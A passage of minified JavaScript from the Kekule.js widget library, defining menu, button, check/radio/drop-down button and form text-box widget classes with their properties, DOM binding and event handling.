Kekule.HtmlElementUtils.getInnerText(this.getElement())},setter:function(e){e===Kekule.Widget.MenuItem.SEPARATOR_TEXT?this.setIsSeparator(!0):(e&&this.setIsSeparator(!1),this.changeContentText(e))}}),this.defineProp("checked",{dataType:DataType.BOOL,setter:function(e){this.getPropStoreFieldValue("checked")!==e&&(this.setPropStoreFieldValue("checked",e),this.checkChanged())}}),this.defineProp("autoCheck",{dataType:DataType.BOOL}),this.defineProp("isSeparator",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("isSeparator",e),this.isSeparatorChanged(e)}})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setUseCornerDecoration(!1),this.setIsSeparator(!1)},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+t.MENUITEM},doCreateRootElement:function(e){return e.createElement("li")},changeContentText:function(e){this.getElement().innerHTML=e||""},isSeparatorChanged:function(e){e?(this.setText("&nbsp;"),this.removeClassName(t.MENUITEM_NORMAL),this.addClassName(t.MENUITEM_SEPARATOR),this.setStatic(!0)):(this.removeClassName(t.MENUITEM_SEPARATOR),this.addClassName(t.MENUITEM_NORMAL),this.setStatic(!1))},doBindElement:function(t){this.tryApplySuper("doBindElement",[t]);for(var i=e.getDirectChildElems(t),n=0,s=i.length;n<s;++n){var r=i[n];r.nodeType===Node.ELEMENT_NODE&&this.bindSubMenu(r),r=r.nextSibling}},doDomElemAdded:function(e){Kekule.Widget.getWidgetOnElem(e)||this.bindSubMenu(e)},checkChanged:function(){this.getChecked()?(this._createCheckMarker(),this.addClassName(t.STATE_CHECKED),this.invokeEvent("check")):this.removeClassName(t.STATE_CHECKED)},_createCheckMarker:function(){var e;(e=this._checkMarker)||((e=this.getDocument().createElement("span")).className=t.CHECKMENU_MARKER,this.getElement().appendChild(e),this._checkMarker=e);return e},_removeCheckMarker:function(){this._checkMarker&&(this._checkMarker.parentNode.removeChild(this._checkMarker),this._checkMarker=null)},childWidgetAdded:function(e){if(this.tryApplySuper("childWidgetAdded",[e]),e instanceof Kekule.Widget.Menu)e.setIsSubMenu(!0);else if(e instanceof Kekule.Widget.MenuItem){var t=this.getSubMenu(!0);(function(){e.setParent(t),e.appendToWidget(t)}).defer(10)}},childrenModified:function(){this.tryApplySuper("childrenModified"),this.subMenuChanged()},bindSubMenu:function(e){var t=e.tagName.toLowerCase();if("ul"===t||"ol"===t){var i=new Kekule.Widget.PopupMenu(e);return this.addSubMenu(i),i}},subMenuChanged:function(){var e=this.getSubMenu();e?this._createSubMenuMarker(e):this._removeSubMenuMarker()},getSubMenu:function(e){for(var t=this.getChildWidgets(),i=0,n=t.length;i<n;++i){var s=t[i];if(s instanceof Kekule.Widget.Menu)return s}return e?this.createSubMenu():null},addSubMenu:function(e){return e.appendToWidget(this),this},removeSubMenu:function(e){return e.setParent(null),e},createSubMenu:function(){var e=new Kekule.Widget.PopupMenu(this);return this.addSubMenu(e),e},_createSubMenuMarker:function(e){var i;(i=this._subMenuMarker)||((i=this.getDocument().createElement("span")).className=t.SUBMENU_MARKER,this.getElement().appendChild(i),this._subMenuMarker=i);return i},_removeSubMenuMarker:function(){this._subMenuMarker&&(this._subMenuMarker.parentNode.removeChild(this._subMenuMarker),this._subMenuMarker=null)},isLeafItem:function(){var e=this.getElement();return!(e.getElementsByTagName("ul").length||e.getElementsByTagName("ol").length)},isPeriodicalExecuting:function(){return this.tryApplySuper("isPeriodicalExecuting")&&this.getIsActive()},doReactActiviting:function(e){this.tryApplySuper("doReactActiviting",[e]),this.isLeafItem()&&this.getEnablePeriodicalExec()&&this.startPeriodicalExec(e)},doReactDeactiviting:function(e){this.isLeafItem()&&(this.stopPeriodicalExec(),this.getIsActive()&&(this.execute(e),this.getAutoCheck()&&this.setChecked(!this.getChecked()),this.notifyDeactivated()))},notifyDeactivated:function(){var e=this.getParent();e&&e.childDeactivated&&e.childDeactivated(this)},childDeactivated:function(e){var t=this.getParent();t&&t.childDeactivated&&t.childDeactivated(this)}}),Kekule.Widget.MenuItem.SEPARATOR_TEXT="-",Kekule.Widget.MenuItem.createFromHash=function(e,t){var i=t;return DataType.isSimpleValue(i)&&(i=i===Kekule.Widget.MenuItem.SEPARATOR_TEXT?{isSeparator:!0}:{text:i}),i.widget||i.widgetClass||(i.widget=Kekule.Widget.MenuItem),Kekule.Widget.createFromHash(e,i)},Kekule.Widget.Menu=Class.create(Kekule.Widget.Container,{CLASS_NAME:"Kekule.Widget.Menu",BINDABLE_TAG_NAMES:["ol","ul"],MENU_ITEM_TAG:"li",initialize:function(e){this.tryApplySuper("initialize",[e])},initProperties:function(){this.defineProp("isSubMenu",{dataType:DataType.BOOL,serializable:!1,setter:function(e){this.setPropStoreFieldValue("isSubMenu",e),e&&this.setLayout(Kekule.Widget.Layout.VERTICAL)}})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setUseCornerDecoration(!0)},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+t.MENU},doCreateRootElement:function(e){return e.createElement("ul")},doBindElement:function(e){this.tryApplySuper("doBindElement",[e]);for(var t=Kekule.DomUtils.getDirectChildElems(e),i=0,n=t.length;i<n;++i){var s=t[i];s.nodeType===Node.ELEMENT_NODE&&this.bindMenuItem(s),s=s.nextSibling}},doDomElemAdded:function(e){this.bindMenuItem(e)},bindMenuItem:function(e){if("li"===e.tagName.toLowerCase()){var t=new Kekule.Widget.MenuItem(e);return t.setParent(this),t}},getSubMenuTagName:function(){return this.getElement().tagName},getMenuItems:function(t){t||(t=this.getElement());for(var i=e.getDirectChildElems(t,this.MENU_ITEM_TAG),n=[],s=0,r=i.length;s<r;++s){var a=Kekule.Widget.getWidgetOnElem(i[s]);a&&a instanceof Kekule.Widget.MenuItem&&n.push(a)}return n},insertMenuItem:function(e,t){return e.insertToWidget(this,t),this},appendMenuItem:function(e){return e.appendToWidget(this),this},removeMenuItem:function(e,t){e.setParent(null),t||e.finalize()},clearMenuItems:function(e){return this.clearWidgets(e),this},isTopLevel:function(){var e=this.getParent();return!e||!(e instanceof Kekule.Widget.MenuItem||e instanceof Kekule.Widget.Menu)},childDeactivated:function(e){var t=this.getParent();t&&t.childDeactivated&&t.childDeactivated(this)},createChildrenByDefs:function(e){for(var t=0,i=e.length;t<i;++t){var n=e[t];Kekule.Widget.MenuItem.createFromHash(this,n)}return this}}),Kekule.Widget.PopupMenu=Class.create(Kekule.Widget.Menu,{CLASS_NAME:"Kekule.Widget.PopupMenu",initPropValues:function(){this.tryApplySuper("initPropValues"),this.setLayout(Kekule.Widget.Layout.VERTICAL)},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+t.POPUPMENU},childDeactivated:function(e){}}),Kekule.Widget.MenuBar=Class.create(Kekule.Widget.Menu,{CLASS_NAME:"Kekule.Widget.MenuBar",doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+t.MENUBAR}})}(),function(){"use strict";var e=Kekule.HtmlElementUtils,t=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{BUTTON:"K-Button",BUTTON_KINDED:"K-Button-Kinded",BUTTON_GROUP:"K-Button-Group",COMPACT_BUTTON:"K-Compact-Button",BTN_COMPACT_MARK:"K-Compact-Mark"}),Kekule.Widget.Button=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.Button",BINDABLE_TAG_NAMES:["input","button","a","label"],CSS_DROPDOWN_CLASS_NAME:"K-DropDownMark",DEF_GLYPH_WIDTH:"16px",DEF_GLYPH_HEIGHT:"16px",initialize:function(e,t){this._elemTextPart=null,this._elemLeadingGlyphPart=null,this._elemTailingGlyphPart=null,this.tryApplySuper("initialize",[e]),t&&this.setText(t)},initProperties:function(){this.defineElemAttribMappingProp("actionType","type"),this.defineProp("text",{dataType:DataType.STRING,serializable:!1,getter:function(){var e=this._elemTextPart||this.getElement();return e?e.innerHTML:null},setter:function(e){this.changeContentText(e)}}),this.defineProp("leadingGlyph",{dataType:"Kekule.Widget.Glyph",serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:null,getter:function(e){var t=this.getPropStoreFieldValue("leadingGlyph");return!t&&e&&(t=this._createDefaultGlyphWidget(this._elemLeadingGlyphPart),this.setPropStoreFieldValue("leadingGlyph",t)),t}}),this.defineProp("tailingGlyph",{dataType:"Kekule.Widget.Glyph",serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:null,getter:function(e){var t=this.getPropStoreFieldValue("tailingGlyph");return!t&&e&&(t=this._createDefaultGlyphWidget(this._elemTailingGlyphPart),this.setPropStoreFieldValue("tailingGlyph",t)),t}}),this.defineProp("showLeadingGlyph",{dataType:DataType.BOOL,scope:Class.PropertyScope.PUBLIC,setter:function(e){this.setPropStoreFieldValue("showLeadingGlyph",e),this._elemLeadingGlyphPart.style.display=e&&this.getShowGlyph()?"":"none"}}),this.defineProp("showTailingGlyph",{dataType:DataType.BOOL,scope:Class.PropertyScope.PUBLIC,setter:function(e){this.setPropStoreFieldValue("showTailingGlyph",e),this._elemTailingGlyphPart.style.display=e&&this.getShowGlyph()?"":"none"}}),this.defineProp("buttonKind",{dataType:DataType.STRING,setter:function(e){var t=this.getButtonKind();e!==t&&(this.cancelButtonKind(t),this.applyButtonKind(e),this.setPropStoreFieldValue("buttonKind",e))}})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setPropStoreFieldValue("showText",!0),this.setPropStoreFieldValue("showGlyph",!0),this.setPropStoreFieldValue("showLeadingGlyph",!0),this.setPropStoreFieldValue("showTailingGlyph",!0),this.setPropStoreFieldValue("useCornerDecoration",!0),this.setAllowTextWrap(!1)},_createDefaultGlyphWidget:function(e){var t=new Kekule.Widget.Glyph(this);return t.setWidth(this.DEF_GLYPH_WIDTH).setHeight(this.DEF_GLYPH_HEIGHT),t.setStatic(!0).setInheritState(!0).setInheritStatic(!0).setInheritEnabled(!0),t.appendToElem(e),t},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+t.BUTTON},doCreateRootElement:function(e){var t=e.createElement("button");return t.setAttribute("type","button"),t},doBindElement:function(i){this.tryApplySuper("doBindElement",[i]);var n=i.innerHTML||"";i.innerHTML="",this._elemTextPart=this.createTextContent(n,i),this._elemLeadingGlyphPart=this.createGlyphContent(i,this._elemTextPart,t.PART_PRI_GLYPH_CONTENT),this._elemTailingGlyphPart=this.createGlyphContent(i,null,t.PART_ASSOC_GLYPH_CONTENT),this.getUseCornerDecoration()&&e.addClass(i,t.CORNER_ALL)},changeContentText:function(e){this._elemTextPart.innerHTML=e||""},isPeriodicalExecuting:function(){return this.tryApplySuper("isPeriodicalExecuting")&&this.getIsActive()},doReactActiviting:function(e){this.tryApplySuper("doReactActiviting",[e]),this.getEnablePeriodicalExec()&&this.startPeriodicalExec(e)},doReactDeactiviting:function(e){this.stopPeriodicalExec(),this.getIsActive()&&this.execute(e)},cancelButtonKind:function(e){e&&(this.removeClassName(e),this.removeClassName(t.BUTTON_KINDED))},applyButtonKind:function(e){e&&(this.addClassName(t.BUTTON_KINDED),this.addClassName(e))}}),Kekule.Widget.Button.Kinds={DROPDOWN:"K-Kind-DropDown",POPUP:"K-Kind-Popup",SEARCH:"K-Kind-Search",EDIT:"K-Kind-Edit",ENTER:"K-Kind-Enter"},Kekule.Widget.CheckButton=Class.create(Kekule.Widget.Button,{CLASS_NAME:"Kekule.Widget.CheckButton",initialize:function(e,t){this.tryApplySuper("initialize",[e,t])},initProperties:function(){this.defineProp("checked",{dataType:DataType.BOOL,setter:function(e){this.getPropStoreFieldValue("checked")!==e&&(this.setPropStoreFieldValue("checked",e),this.checkChanged(),this.stateChanged())}}),this.defineProp("autoCheck",{dataType:DataType.BOOL})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setAutoCheck(!0)},checkChanged:function(){this.getChecked()?this.invokeEvent("check"):this.invokeEvent("uncheck"),this.invokeEvent("checkChange",{checked:this.getChecked()})},getStateClassName:function(e){var t=this.getChecked()?Kekule.Widget.State.ACTIVE:e;return this.tryApplySuper("getStateClassName",[t])},doReactDeactiviting:function(e){var t=this.getChecked();this.tryApplySuper("doReactDeactiviting",[e]),this.getAutoCheck()&&this._doToggleCheckOnSelf(t)},_doToggleCheckOnSelf:function(e){this.getEnabled()&&this.setChecked(!e)}}),Kekule.Widget.RadioButton=Class.create(Kekule.Widget.CheckButton,{CLASS_NAME:"Kekule.Widget.RadioButton",initialize:function(e,t){this.tryApplySuper("initialize",[e,t])},initProperties:function(){this.defineProp("group",{dataType:DataType.STRING})},checkChanged:function(){this.tryApplySuper("checkChanged"),this.getChecked()&&this.uncheckSiblings()},uncheckSiblings:function(){var e=this.getParent(),t=this.getGroup();if(e)for(var i=e.getChildWidgets(),n=0,s=i.length;n<s;++n){var r=i[n];r!==this&&r.getGroup&&r.setChecked&&r.getGroup()===t&&r.setChecked(!1)}},doReactDeactiviting:function(e){this.tryApplySuper("doReactDeactiviting",[e])},_doToggleCheckOnSelf:function(e){e||this.tryApplySuper("_doToggleCheckOnSelf",[e])},_doCheckOnSelf:function(){this.getEnabled()&&this.setChecked(!0)}}),Kekule.Widget.DropDownButton=Class.create(Kekule.Widget.Button,{CLASS_NAME:"Kekule.Widget.DropDownButton",doFinalize:function(){this.tryApplySuper("doFinalize")},initProperties:function(){this.defineProp("dropDownWidget",{dataType:"Kekule.Widget.BaseWidget",serializable:!1,getter:function(){var e=this.getPropStoreFieldValue("dropDownWidget");if(!e){var t=this.getDropDownWidgetGetter();t&&(e=t(this),this.setPropStoreFieldValue("dropDownWidget",e))}return e},setter:function(e){this.setPropStoreFieldValue("dropDownWidget",e),e&&e.setDisplayed(!1)}}),this.defineProp("dropDownWidgetGetter",{dataType:DataType.FUNCTION,serializable:!1}),this.defineProp("dropPosition",{dataType:DataType.INT})},doCreateRootElement:function(e){return this.tryApplySuper("doCreateRootElement",[e])},calcActualDropPosition:function(){var e=Kekule.Widget.Position,t=this.getDropPosition();if(!t){var i=this.getParent(),n=i?i.getLayout():Kekule.Widget.Layout.HORIZONTAL,s=Kekule.HtmlElementUtils.getElemPageRect(this.getElement(),!0),r=Kekule.HtmlElementUtils.getViewportDimension(this.getElement()),a=this.getDropDownWidget().getElement();a.style.visible="hidden",a.style.display="",this.getElement().appendChild(a);var o=Kekule.HtmlElementUtils.getElemOffsetDimension(a);if(this.getElement().removeChild(a),n)if(n===Kekule.Widget.Layout.VERTICAL){var l=s.x,u=r.width-l-s.width;t=u>=o.width?e.RIGHT:l>u?e.LEFT:e.RIGHT}else{var d=s.y,h=r.height-d-s.height;t=h>=o.height?e.BOTTOM:d>h?e.TOP:e.BOTTOM}}return t},showDropDownWidget:function(){var e=this.getDropDownWidget();e.getElement().style.position="absolute";this.getElement();e.show(this,null,Kekule.Widget.ShowHideType.DROPDOWN),this.invokeEvent("dropDown",{dropDown:e})},hideDropDownWidget:function(){this.getDropDownWidget().hide(this)},isDropDownWidgetShown:function(){var e=this.getDropDownWidget();return e&&e.isShown()},doExecute:function(e){this.getDropDownWidget()&&(this.isDropDownWidgetShown()?this.hideDropDownWidget():this.showDropDownWidget()),this.tryApplySuper("doExecute",[e])}}),Kekule.Widget.ButtonGroup=Class.create(Kekule.Widget.Toolbar,{CLASS_NAME:"Kekule.Widget.ButtonGroup",initialize:function(e){this.tryApplySuper("initialize",[e])},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setPropStoreFieldValue("showText",!0),this.setPropStoreFieldValue("showGlyph",!0),this.setAllowChildWrap(!1)},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+t.BUTTON_GROUP},doCreateRootElement:function(e){return e.createElement("span")},getDefaultChildWidgetClassName:function(){return"Kekule.Widget.Button"}}),Kekule.Widget.CompactButtonSet=Class.create(Kekule.Widget.DropDownButton,{CLASS_NAME:"Kekule.Widget.CompactButtonSet",initialize:function(e,t){this.reactSetButtonExecuteBind=this.reactSetButtonExecute.bind(this),this.setPropStoreFieldValue("showCompactMark",!0),this.setPropStoreFieldValue("cloneSelectedOutlook",!0),this.tryApplySuper("initialize",[e,t]),this.getButtonSet()||this.initButtonGroup()},initProperties:function(){this.defineProp("buttonSet",{dataType:"Kekule.Widget.ButtonGroup",serializable:!1,setter:function(e){var t=this.getButtonSet();t!==e&&(t&&t.finalize(),this.initButtonGroup(e))}}),this.defineProp("buttonSetLayout",{dataType:DataType.INT}),this.defineProp("selected",{dataType:"Kekule.Widget.Button",serializable:!1,setter:function(e){if(e)this.getButtonSet().hasChild(e)&&(this.getCloneSelectedOutlook()&&this.cloneSetButton(e),e.setChecked&&e.setChecked(!0));else{var t=this.getSelected();t&&t.setChecked(!1)}this.setPropStoreFieldValue("selected",e)}}),this.defineProp("cloneSelectedOutlook",{dataType:DataType.BOOL}),this.defineProp("showCompactMark",{dataType:DataType.BOOL,setter:function(e){this.getShowCompactMark()!==e&&(this.setPropStoreFieldValue("showCompactMark",e),e?this.createCompactMark():this.removeCompactMark())}})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+t.COMPACT_BUTTON},doSetShowText:function(e){return this.getButtonSet()&&this.getButtonSet().setShowText(e),this.tryApplySuper("doSetShowText",[e])},doSetShowGlyph:function(e){return this.getButtonSet()&&this.getButtonSet().setShowGlyph(e),this.tryApplySuper("doSetShowGlyph",[e])},createCompactMark:function(){var e=this.getElement();this._compactMark&&e.removeChild(this._compactMark);var i=this.getDocument().createElement("span");return i.className=t.BTN_COMPACT_MARK,e.appendChild(i),this._compactMark=i,i},removeCompactMark:function(){var e=this.getElement();this._compactMark&&e.removeChild(this._compactMark)},initButtonGroup:function(e){if(e)var t=this._getCheckedButtonInGroup(e);else e=new Kekule.Widget.ButtonGroup(this);e.setDisplayed(!1),e.setShowText(this.getShowText()),e.setShowGlyph(this.getShowGlyph()),this.setPropStoreFieldValue("buttonSet",e),this.setDropDownWidget(e),e.addEventListener("execute",this.reactSetButtonExecuteBind),e.addEventListener("check",this.reactSetButtonExecuteBind),t&&this.cloneSetButton(t)},_getCheckedButtonInGroup:function(e){for(var t=e.getChildWidgets(),i=0,n=t.length;i<n;++i){var s=t[i];if(s.getChecked&&s.getChecked())return s}return null},cloneSetButton:function(e){if(this.getCloneSelectedOutlook()){for(var t=this.getElement(),i=this.getButtonSet().getElement(),n=Kekule.DomUtils,s=n.getDirectChildElems(t),r=n.getDirectChildElems(e.getElement()),a=!1,o=0,l=s.length;o<l;++o){(u=s[o])!==i?t.removeChild(u):a=!0}for(o=0,l=r.length;o<l;++o){var u=r[o].cloneNode(!0);a?t.insertBefore(u,i):t.appendChild(u)}this._clonedCustomHtmlClassName&&this.removeClassName(this._clonedCustomHtmlClassName),this._clonedCustomHtmlClassName=e.getCustomHtmlClassName(),this._clonedCustomHtmlClassName&&this.addClassName(this._clonedCustomHtmlClassName),this._compactMark=null,this.createCompactMark()}},calcActualButtonSetLayout:function(){var e=Kekule.Widget.Layout,t=this.getButtonSetLayout();if(!t){var i=this.getParent();t=(i?i.getLayout():e.HORIZONTAL)===e.VERTICAL?e.HORIZONTAL:e.VERTICAL}return t},showDropDownWidget:function(){var e=this.calcActualButtonSetLayout();this.getButtonSet().setLayout(e),this.tryApplySuper("showDropDownWidget")},reactSetButtonExecute:function(e){if(e.target instanceof Kekule.Widget.Button&&e.target!==this.getSelected()&&(!this._currExecButton||this._currExecButton!==e.target))try{this._currExecButton=e.target,e.target.setIsFocused(!1),e.target.setIsHover(!1),e.target.setIsActive(!1),this.setSelected(e.target),this.getButtonSet().isShown()&&this.getButtonSet().hide(),this.invokeEvent("select",{selected:e.target})}finally{this._currExecButton=null}},append:function(e,t){return this.getButtonSet().appendWidget(e),t&&this.setSelected(e),this},insertBefore:function(e,t,i){return this.getButtonSet().insertWidgetBefore(e),i&&this.setSelected(e),this},remove:function(e,t){return this.getButtonSet().removeWidget(e,t),this}})}(),function(){var e=Kekule.DomUtils,t=Kekule.HtmlElementUtils,i=Kekule.Widget.HtmlClassNames,n=Kekule.ObjUtils;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{OVERLAP:"K-Overlap",FORMCONTROL:"K-FormControl",CHECKBOX:"K-CheckBox",TEXTBOX:"K-TextBox",COMBOTEXTBOX:"K-ComboTextBox",COMBOTEXTBOX_ASSOC_WIDGET:"K-ComboTextBox-Assoc-Widget",BUTTONTEXTBOX:"K-ButtonTextBox",TEXTAREA:"K-TextArea",SELECTBOX:"K-SelectBox",COMBOBOX:"K-ComboBox",COMBOBOX_TEXTWRAPPER:"K-ComboBox-TextWrapper",NUMINPUT:"K-NumInput"}),Kekule.Widget.FormWidget=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.FormWidget",initialize:function(e,t){this.reactValueChangeBind=this.reactValueChange.bind(this),this.reactInputBind=this.reactInput.bind(this),this.setPropStoreFieldValue("isDirty",!1),this.tryApplySuper("initialize",[e,t])},initProperties:function(){this.defineProp("name",{dataType:DataType.STRING,getter:function(){return this.getCoreElement().name},setter:function(e){this.getCoreElement().name=e}}),this.defineProp("value",{dataType:DataType.VARIANT,serializable:!1,getter:function(){return this.getCoreElement().value},setter:function(e){this.getCoreElement().value=e}}),this.defineProp("isDirty",{dataType:DataType.BOOL,serializable:!1}),this.defineProp("readOnly",{dataType:DataType.BOOL,serializable:!1,getter:function(){return this.getCoreElement().readOnly},setter:function(e){this.getCoreElement().readOnly=e}})},getTextSelectable:function(){return!0},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+i.FORMCONTROL},doBindElement:function(e){this.tryApplySuper("doBindElement",[e]);var t=this.getCoreElement();if(t){var i=Kekule.Browser.IE&&8===Kekule.Browser.IEVersion;Kekule.X.Event.addListener(t,"change",this.reactValueChangeBind),Kekule.X.Event.addListener(t,"input",this.reactInputBind),i?(this._bindKeyupEvent=!0,Kekule.X.Event.addListener(t,"keyup",this.reactInputBind)):this._bindKeyupEvent=!1}},doUnbindElement:function(e){var t=this.getCoreElement();t&&(Kekule.X.Event.removeListener(t,"change",this.reactValueChangeBind),Kekule.X.Event.removeListener(t,"input",this.reactInputBind),this._bindKeyupEvent&&Kekule.X.Event.removeListener(t,"keyup",this.reactInputBind)),this.tryApplySuper("doUnbindElement",[e])},notifyValueChanged:function(){this.setIsDirty(!0),this.invokeEvent("valueChange",{widget:this,value:this.getValue()})},selectAll:function(){var e=this.getCoreElement();return e&&e.select&&e.select(),this},reactValueChange:function(){this.notifyValueChanged()},reactInput:function(e){this.setIsDirty(!0),this.invokeEvent("valueInput",{widget:this,value:this.getValue()})}}),Kekule.Widget.CheckBox=Class.create(Kekule.Widget.FormWidget,{CLASS_NAME:"Kekule.Widget.CheckBox",BINDABLE_TAG_NAMES:["div","span"],initialize:function(e,t){this.tryApplySuper("initialize",[e]),Kekule.ObjUtils.notUnset(t)&&this.setChecked(!!t)},initProperties:function(){this.defineProp("checked",{dataType:DataType.BOOL,getter:function(){var e=this.getCoreElement();return!!e&&e.checked},setter:function(e){var t=this.getCoreElement();t&&(t.checked=!!e)}}),this.defineProp("text",{dataType:DataType.STRING,getter:function(){return Kekule.DomUtils.getElementText(this.getLabelElem())},setter:function(e){Kekule.DomUtils.setElementText(this.getLabelElem(),e)}})},getCoreElement:function(){return this.getInputElem()},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+i.CHECKBOX},getInputElem:function(){var e=this.getElement();if(e){var t=e.getElementsByTagName("input");if(t&&t.length)return t[0]}return null},getLabelElem:function(){var e=this.getElement();if(e){if("label"===e.tagName.toLowerCase())return e;var t=e.getElementsByTagName("label");if(t&&t.length)return t[0]}return null},doCreateRootElement:function(e){return e.createElement("span")},doCreateSubElements:function(e,t){var i=e.createElement("label");t.appendChild(i);var n=e.createElement("input");return n.setAttribute("type","checkbox"),i.appendChild(n),[i,n]}}),Kekule.Widget.TextBox=Class.create(Kekule.Widget.FormWidget,{CLASS_NAME:"Kekule.Widget.TextBox",BINDABLE_TAG_NAMES:["input"],initialize:function(e,t){this.tryApplySuper("initialize",[e]),t&&this.setText(t)},initProperties:function(){this.defineProp("text",{dataType:DataType.STRING,getter:function(){return this.getElement().value},setter:function(e){this.getElement().value=e||""}}),this.defineProp("placeholder",{dataType:DataType.STRING,getter:function(){return this.getElement().placeholder},setter:function(e){this.getElement().placeholder=e}})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+i.TEXTBOX},doCreateRootElement:function(e){return e.createElement("input")},doBindElement:function(e){this.tryApplySuper("doBindElement",[e]),e.setAttribute("type","text")}}),Kekule.Widget.ComboTextBox=Class.create(Kekule.Widget.FormWidget,{CLASS_NAME:"Kekule.Widget.ComboTextBox",BINDABLE_TAG_NAMES:["div","span"],initialize:function(e,t){this.tryApplySuper("initialize",[e]),t&&this.setText(t)},initProperties:function(){this.defineProp("text",{dataType:DataType.STRING,serializable:!1,getter:function(){var e=this.getTextBox();return e?e.getText():null},setter:function(e){var t=this.getTextBox();t&&t.setText(e)}}),this.defineProp("placeholder",{dataType:DataType.STRING,getter:function(){return this.getTextBox().getPlaceholder()},setter:function(e){this.getTextBox().setPlaceholder(e)}}),this.defineProp("overlapOnTextBox",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("overlapOnTextBox",e),e?this.addClassName(i.OVERLAP):this.removeClassName(i.OVERLAP),this.adjustWidgetsSize()}}),this.defineProp("textBox",{dataType:"Kekule.Widget.TextBox",serializable:!1,setter:null}),this.defineProp("headingWidget",{dataType:"Kekule.Widget.BaseWidget",serializable:!1,setter:function(e){var t=this.getHeadingWidget();if(e!==t&&(this.setPropStoreFieldValue("headingWidget",e),t&&(t.setParent(null),t.removeClassName(i.COMBOTEXTBOX_ASSOC_WIDGET)),e)){var n=this.getTextBox()?this.getTextBox().getElement():this.getTailingWidget()?this.getTailingWidget().getElement():null;e.setParent(this),e.addClassName(i.COMBOTEXTBOX_ASSOC_WIDGET),e.insertToElem(this.getElement(),n)}}}),this.defineProp("tailingWidget",{dataType:"Kekule.Widget.BaseWidget",serializable:!1,setter:function(e){var t=this.getTailingWidget();e!==t&&(this.setPropStoreFieldValue("tailingWidget",e),t&&(t.setParent(null),t.removeClassName(i.COMBOTEXTBOX_ASSOC_WIDGET)),e&&(e.setParent(this),e.addClassName(i.COMBOTEXTBOX_ASSOC_WIDGET),e.appendToElem(this.getElement())))}})},finalize:function(){this._finalizeSubWidgets(),this.tryApplySuper("finalize")},_finalizeSubWidgets:function(){var e,t=this.getTextBox();t&&t.finalize(),(e=this.getHeadingWidget())&&e.finalize(),(e=this.getTailingWidget())&&e.finalize()},getCoreElement:function(){var e=this.getTextBox();return e?e.getElement():this.tryApplySuper("getCoreElement")},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+i.COMBOTEXTBOX},doCreateRootElement:function(e){return e.createElement("span")},doCreateSubElements:function(e,t){var n=this.tryApplySuper("doCreateSubElements",[e,t]);this._finalizeSubWidgets();var s=new Kekule.Widget.TextBox(this);return s.addClassName(i.TEXTBOX),s.appendToElem(this.getElement()),this.setPropStoreFieldValue("textBox",s),n.push(s.getElement()),n},elementBound:function(e){this.setObserveElemResize(!0)},relayEvent:function(e,t){var i=t.widget;return i!==this.getTextBox()&&i!==this.getHeadingWidget()&&i!==this.getTailingWidget()||(t.widget=this),this.tryApplySuper("relayEvent",[e,t])},doSetEnabled:function(e){var t=this.getTextBox();t&&t.setEnabled(e);var i=this.getHeadingWidget();i&&i.setEnabled(e),(i=this.getTailingWidget())&&i.setEnabled(e)},doResize:function(){this.adjustWidgetsSize()},widgetShowStateChanged:function(e,t){this.tryApplySuper("widgetShowStateChanged",[e,t]),e&&this.adjustWidgetsSize()},doInsertedToDom:function(){this.isShown()&&this.adjustWidgetsSize()},assocWidgetChanged:function(){this.adjustWidgetsSize()},adjustWidgetsSize:function(){var e=Kekule.StyleUtils,t=this.getOverlapOnTextBox(),i=t?"absolute":"relative",n=this.getTextBox().getElement();if(n){var s,r,a,o=Kekule.HtmlElementUtils.getElemPageRect(n);if((r=(s=this.getHeadingWidget())?s.getElement():null)&&s.isShown())if((a=r.style).position=i,t){var l=Kekule.HtmlElementUtils.getElemPageRect(r);a.left=0,a.top=(o.height-l.height)/2+"px",n.style.paddingLeft=l.width+"px"}else e.removeStyleProperty(a,"left"),e.removeStyleProperty(a,"top"),e.removeStyleProperty(n.style,"paddingLeft");else e.removeStyleProperty(n.style,"paddingLeft");if((r=(s=this.getTailingWidget())?s.getElement():null)&&s.isShown())if((a=r.style).position=i,t){l=Kekule.HtmlElementUtils.getElemPageRect(r);a.right=0,a.top=(o.height-l.height)/2+"px",n.style.paddingRight=l.width+"px"}else e.removeStyleProperty(a,"right"),e.removeStyleProperty(a,"top"),e.removeStyleProperty(n.style,"paddingRight");else e.removeStyleProperty(n.style,"paddingRight")}}}),Kekule.Widget.ButtonTextBox=Class.create(Kekule.Widget.ComboTextBox,{CLASS_NAME:"Kekule.Widget.ButtonTextBox",initialize:function(e,t){this.tryApplySuper("initialize",[e,t]),this.setOverlapOnTextBox(!0)},initProperties:function(){this.defineProp("button",{dataType:"Kekule.Widget.Button",serializable:!1,setter:null,getter:function(){return this.getTailingWidget()}}),this.defineProp("buttonKind",{dataType:DataType.STRING,getter:function(){return this.getButton().getButtonKind()},setter:function(e){this.getButton().setButtonKind(e)}}),this.defineProp("buttonText",{dataType:DataType.STRING,getter:function(){return this.getButton().getText()},setter:function(e){this.getButton().setText(e).setShowText(!!e)}})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" 